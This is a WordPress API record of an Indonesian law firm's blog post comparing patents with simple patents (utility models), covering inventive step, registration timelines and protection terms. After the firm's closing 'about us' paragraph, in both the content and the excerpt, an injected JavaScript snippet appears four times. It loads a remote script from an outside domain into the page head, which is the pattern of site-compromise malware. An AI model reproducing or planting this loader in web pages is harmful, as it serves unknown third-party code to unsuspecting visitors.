{"id":6023,"date":"2026-01-27T07:24:38","date_gmt":"2026-01-27T07:24:38","guid":{"rendered":"https:\/\/staging.affa.co.id\/?p=5998"},"modified":"2026-01-27T07:24:38","modified_gmt":"2026-01-27T07:24:38","slug":"paten-vs-paten-sederhana-apa-bedanya","status":"publish","type":"post","link":"https:\/\/staging.affa.co.id\/bhs\/2026\/01\/27\/paten-vs-paten-sederhana-apa-bedanya\/","title":{"rendered":"Paten VS Paten Sederhana &#8211; Apa Bedanya?"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Dalam dunia bisnis berbasis inovasi, banyak pelaku usaha mengira semua invensi teknologi dapat dilindungi dengan cara yang sama, \u201cdipatenkan saja!\u201d Padahal, sistem hukum Kekayaan Intelektual di Indonesia membedakan perlindungan invensi ke dalam dua rezim utama, yakni Paten dan Paten Sederhana. Memahami perbedaan keduanya bukan sekadar soal istilah, tetapi menyangkut strategi perlindungan teknologi, biaya, waktu proses, hingga kekuatan hukum yang diperoleh.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Bagi Anda khususnya pelaku usaha, inventor, bergerak di industri rintisan, dan\/atau perusahaan manufaktur, pemilihan jenis perlindungan yang tepat dapat menentukan seberapa efektif inovasi Anda terlindungi dari kompetitor, atau pihak-pihak yang tidak diinginkan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Perbedaan Utama: Langkah Inventif<\/b><\/p>\n<p><span style=\"font-weight: 400\">Faktor pembeda paling mendasar antara Paten dan Paten Sederhana, atau di beberapa negara disebut dengan \u201c<\/span><b><i>Utility Model<\/i><\/b><span style=\"font-weight: 400\">,\u201d adalah adanya langkah inventif. Yang dimaksud dengan langkah inventif, berarti invensi tersebut:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Tidak bersifat jelas atau mudah diduga,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengandung unsur teknis yang tidak terduga, bahkan bagi seseorang yang ahli di bidang teknis terkait.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Secara khusus, Paten diberikan untuk invensi baru yang mengandung langkah inventif dan dapat diterapkan dalam industri. Artinya, teknologi tersebut benar-benar membawa lompatan teknis, bukan sekadar modifikasi kecil.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Contoh umum Paten:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Sistem mesin dengan mekanisme baru yang meningkatkan efisiensi secara signifikan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Metode produksi dengan pendekatan teknis yang belum pernah ada sebelumnya<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Sedangkan Paten Sederhana, diberikan untuk invensi baru berupa pengembangan dari produk atau proses yang sudah ada dan dapat diterapkan dalam industri. Di sini, fokusnya pada penyempurnaan atau perbaikan praktis, bukan terobosan teknis besar.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Contoh umum Paten Sederhana:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Perbaikan struktur alat agar lebih kuat atau ergonomis<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Modifikasi desain mekanik untuk mempermudah perakitan<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Tabel Perbedaan Paten dengan Paten Sederhana<\/b><\/p>\n<table>\n<tbody>\n<tr>\n<td><b>Aspek<\/b><\/td>\n<td><b>Paten<\/b><\/td>\n<td><b>Paten Sederhana<\/b><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Tingkat Inovasi<\/span><\/td>\n<td><span style=\"font-weight: 400\">Harus ada langkah inventif<\/span><\/td>\n<td><span style=\"font-weight: 400\">Cukup pengembangan dari yang sudah ada<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Kompleksitas Teknologi<\/span><\/td>\n<td><span style=\"font-weight: 400\">Umumnya lebih tinggi<\/span><\/td>\n<td><span style=\"font-weight: 400\">Biasanya lebih sederhana<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Kekuatan Unsur Teknis<\/span><\/td>\n<td><span style=\"font-weight: 400\">Terobosan teknis<\/span><\/td>\n<td><span style=\"font-weight: 400\">Penyempurnaan teknis<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><b>Perbedaan dalam Proses Pendaftaran<\/b><\/p>\n<p><span style=\"font-weight: 400\">Berikut ini adalah gambaran proses dan estimasi waktu pendaftaran Paten dan Paten Sederhana di Indonesia:<\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td><b>Tahap<\/b><\/td>\n<td><b>Paten<\/b><\/td>\n<td><b>Paten Sederhana<\/b><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">1. Permohonan (Pemeriksaan Formalitas)<\/span><\/td>\n<td><span style=\"font-weight: 400\">0\u20136 bulan<\/span><\/td>\n<td><span style=\"font-weight: 400\">0\u201328 hari<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">2. Masa Tunggu*<\/span><\/td>\n<td><span style=\"font-weight: 400\">6\u201318 bulan<\/span><\/td>\n<td><span style=\"font-weight: 400\">14 hari<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">3. Pengumuman<\/span><\/td>\n<td><span style=\"font-weight: 400\">6 bulan<\/span><\/td>\n<td><span style=\"font-weight: 400\">14 hari<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">4. Pemeriksaan Substantif<\/span><\/td>\n<td><span style=\"font-weight: 400\">Maks. 30 bulan<\/span><\/td>\n<td><span style=\"font-weight: 400\">Maks. 6 bulan<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">5. Penerbitan Sertifikat<\/span><\/td>\n<td><span style=\"font-weight: 400\">3\u20136 bulan<\/span><\/td>\n<td><span style=\"font-weight: 400\">3\u20136 bulan<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"font-weight: 400\">*) Apa itu Masa Tunggu?<\/span><\/p>\n<p><span style=\"font-weight: 400\">Masa tunggu adalah periode untuk melakukan perubahan atau perbaikan sebelum permohonan diumumkan ke publik.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Permohonan bisa gagal di tahap formalitas jika terdapat kesalahan seperti:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Judul invensi tidak konsisten antara deskripsi, abstrak, dan dokumen pengalihan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Format deskripsi tidak sesuai standar.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Tidak semua inventor menandatangani dokumen kepemilikan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Biaya pemeriksaan substantif tidak dibayar tepat waktu.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Jika tidak diperbaiki, permohonan dianggap ditarik kembali.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Perbedaan Jangka Waktu Perlindungan<\/b><\/p>\n<p><span style=\"font-weight: 400\">Satu lagi perbedaan krusial antara Paten dengan Paten Sederhana adalah pada masa berlaku perlindungannya. Paten<\/span> <span style=\"font-weight: 400\">akan terlindungi selama 20 tahun sejak tanggal penerimaan, sedangkan Paten Sederhana hanya akan terlindungi 10 tahun saja.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400\">Namun keduanya sama-sama memiliki \u201cBiaya Pemeliharaan Paten\u201d yang harus dibayar setiap tahun, dan juga sama-sama tidak bisa diperpanjang jika masa perlindungannya telah usai.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Mana yang Lebih Tepat untuk Bisnis Anda?<\/b><\/p>\n<p><span style=\"font-weight: 400\">Anda dapat memilih Pilih Paten jika:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Teknologi Anda benar-benar baru dan kompleks<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memiliki nilai strategis jangka panjang<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Ingin perlindungan maksimal<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Tapi di sisi lain, Paten Sederhana dapat menjadi pilihan jika:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Invensi berupa penyempurnaan produk<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Ingin proses perlindungan yang lebih cepat<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Fokus pada perlindungan praktis di pasar<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait perbedaan Paten dan perlindungannya di Indonesia dan manca negara, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: <\/span><a href=\"mailto:patent@staging.affa.co.id\"><span style=\"font-weight: 400\">patent@staging.affa.co.id<\/span><\/a><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Tentang AFFA: <\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan <\/span><b><i>\u201cBest Boutique Law Firm in Indonesia\u201d<\/i><\/b> <span style=\"font-weight: 400\">dan <\/span><b><i>\u201cIP Enforcement Firm\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh <\/span><b><i>Asia Business Law Journal<\/i><\/b><span style=\"font-weight: 400\">, serta tercatat sebagai <\/span><b><i>\u201cRecommended Firm 2024 \u2014 Indonesia\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam publikasi <\/span><b><i>WTR 1000: The World\u2019s Leading Trademark Professionals<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Informasi lebih lanjut mengenai AFFA dapat diakses melalui: <\/span><a href=\"http:\/\/www.staging.affa.co.id\"><span style=\"font-weight: 400\">www.staging.affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dalam dunia bisnis berbasis inovasi, banyak pelaku usaha mengira semua invensi teknologi dapat dilindungi dengan cara yang sama, \u201cdipatenkan saja!\u201d Padahal, sistem hukum Kekayaan Intelektual di Indonesia membedakan perlindungan invensi ke dalam dua rezim utama, yakni Paten dan Paten Sederhana. Memahami perbedaan keduanya bukan sekadar soal istilah, tetapi menyangkut strategi perlindungan teknologi, biaya, waktu proses, hingga kekuatan hukum yang diperoleh. &nbsp; Bagi Anda khususnya pelaku usaha, inventor, bergerak di industri rintisan, dan\/atau perusahaan manufaktur, pemilihan jenis perlindungan yang tepat dapat menentukan seberapa efektif inovasi Anda terlindungi dari kompetitor, atau pihak-pihak yang tidak diinginkan. &nbsp; Perbedaan Utama: Langkah Inventif Faktor pembeda paling mendasar antara Paten dan Paten Sederhana, atau di beberapa negara disebut dengan \u201cUtility Model,\u201d adalah adanya langkah inventif. Yang dimaksud dengan langkah inventif, berarti invensi tersebut: Tidak bersifat jelas atau mudah diduga, Mengandung unsur teknis yang tidak terduga, bahkan bagi seseorang yang ahli di bidang teknis terkait. Secara khusus, Paten diberikan untuk invensi baru yang mengandung langkah inventif dan dapat diterapkan dalam industri. Artinya, teknologi tersebut benar-benar membawa lompatan teknis, bukan sekadar modifikasi kecil. Contoh umum Paten: Sistem mesin dengan mekanisme baru yang meningkatkan efisiensi secara signifikan Metode produksi dengan pendekatan teknis yang belum pernah ada sebelumnya Sedangkan Paten Sederhana, diberikan untuk invensi baru berupa pengembangan dari produk atau proses yang sudah ada dan dapat diterapkan dalam industri. Di sini, fokusnya pada penyempurnaan atau perbaikan praktis, bukan terobosan teknis besar. Contoh umum Paten Sederhana: Perbaikan struktur alat agar lebih kuat atau ergonomis Modifikasi desain mekanik untuk mempermudah perakitan &nbsp; Tabel Perbedaan Paten dengan Paten Sederhana Aspek Paten Paten Sederhana Tingkat Inovasi Harus ada langkah inventif Cukup pengembangan dari yang sudah ada Kompleksitas Teknologi Umumnya lebih tinggi Biasanya lebih sederhana Kekuatan Unsur Teknis Terobosan teknis Penyempurnaan teknis &nbsp; Perbedaan dalam Proses Pendaftaran Berikut ini adalah gambaran proses dan estimasi waktu pendaftaran Paten dan Paten Sederhana di Indonesia: Tahap Paten Paten Sederhana 1. Permohonan (Pemeriksaan Formalitas) 0\u20136 bulan 0\u201328 hari 2. Masa Tunggu* 6\u201318 bulan 14 hari 3. Pengumuman 6 bulan 14 hari 4. Pemeriksaan Substantif Maks. 30 bulan Maks. 6 bulan 5. Penerbitan Sertifikat 3\u20136 bulan 3\u20136 bulan *) Apa itu Masa Tunggu? Masa tunggu adalah periode untuk melakukan perubahan atau perbaikan sebelum permohonan diumumkan ke publik. Permohonan bisa gagal di tahap formalitas jika terdapat kesalahan seperti: Judul invensi tidak konsisten antara deskripsi, abstrak, dan dokumen pengalihan. Format deskripsi tidak sesuai standar. Tidak semua inventor menandatangani dokumen kepemilikan. Biaya pemeriksaan substantif tidak dibayar tepat waktu. Jika tidak diperbaiki, permohonan dianggap ditarik kembali. &nbsp; Perbedaan Jangka Waktu Perlindungan Satu lagi perbedaan krusial antara Paten dengan Paten Sederhana adalah pada masa berlaku perlindungannya. Paten akan terlindungi selama 20 tahun sejak tanggal penerimaan, sedangkan Paten Sederhana hanya akan terlindungi 10 tahun saja.\u00a0 Namun keduanya sama-sama memiliki \u201cBiaya Pemeliharaan Paten\u201d yang harus dibayar setiap tahun, dan juga sama-sama tidak bisa diperpanjang jika masa perlindungannya telah usai. &nbsp; Mana yang Lebih Tepat untuk Bisnis Anda? Anda dapat memilih Pilih Paten jika: Teknologi Anda benar-benar baru dan kompleks Memiliki nilai strategis jangka panjang Ingin perlindungan maksimal Tapi di sisi lain, Paten Sederhana dapat menjadi pilihan jika: Invensi berupa penyempurnaan produk Ingin proses perlindungan yang lebih cepat Fokus pada perlindungan praktis di pasar &nbsp; Jika Anda membutuhkan informasi lebih lanjut terkait perbedaan Paten dan perlindungannya di Indonesia dan manca negara, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS: &nbsp; \ud83d\udce9 E-Mail : patent@staging.affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Tentang AFFA: Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis. &nbsp; AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan \u201cBest Boutique Law Firm in Indonesia\u201d dan \u201cIP Enforcement Firm\u201d dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh Asia Business Law Journal, serta tercatat sebagai \u201cRecommended Firm 2024 \u2014 Indonesia\u201d dalam publikasi WTR 1000: The World\u2019s Leading Trademark Professionals. Informasi lebih lanjut mengenai AFFA dapat diakses melalui: www.staging.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6119,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,356],"tags":[318,635,634,630,473,369,339,328,327,325,321,319,298,317,315,314,310,309,308,307,306,305,302],"class_list":["post-6023","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-patent","tag-trademark","tag-utility-models","tag-paten-sederhana","tag-performance","tag-geographical-indication","tag-indikasi-geografis","tag-paten","tag-industrial-design","tag-desain-industri","tag-patent","tag-indonesia","tag-djki","tag-merek","tag-timing-is-everything","tag-merek-indonesia-bisa","tag-your-ip-is-our-expertise","tag-ki","tag-kekayaan-intelektual","tag-ip","tag-intellectual-property","tag-affa-ipr","tag-affa","tag-dgip"],"_links":{"self":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6023","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6023"}],"version-history":[{"count":0,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6023\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6119"}],"wp:attachment":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6023"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6023"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6023"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}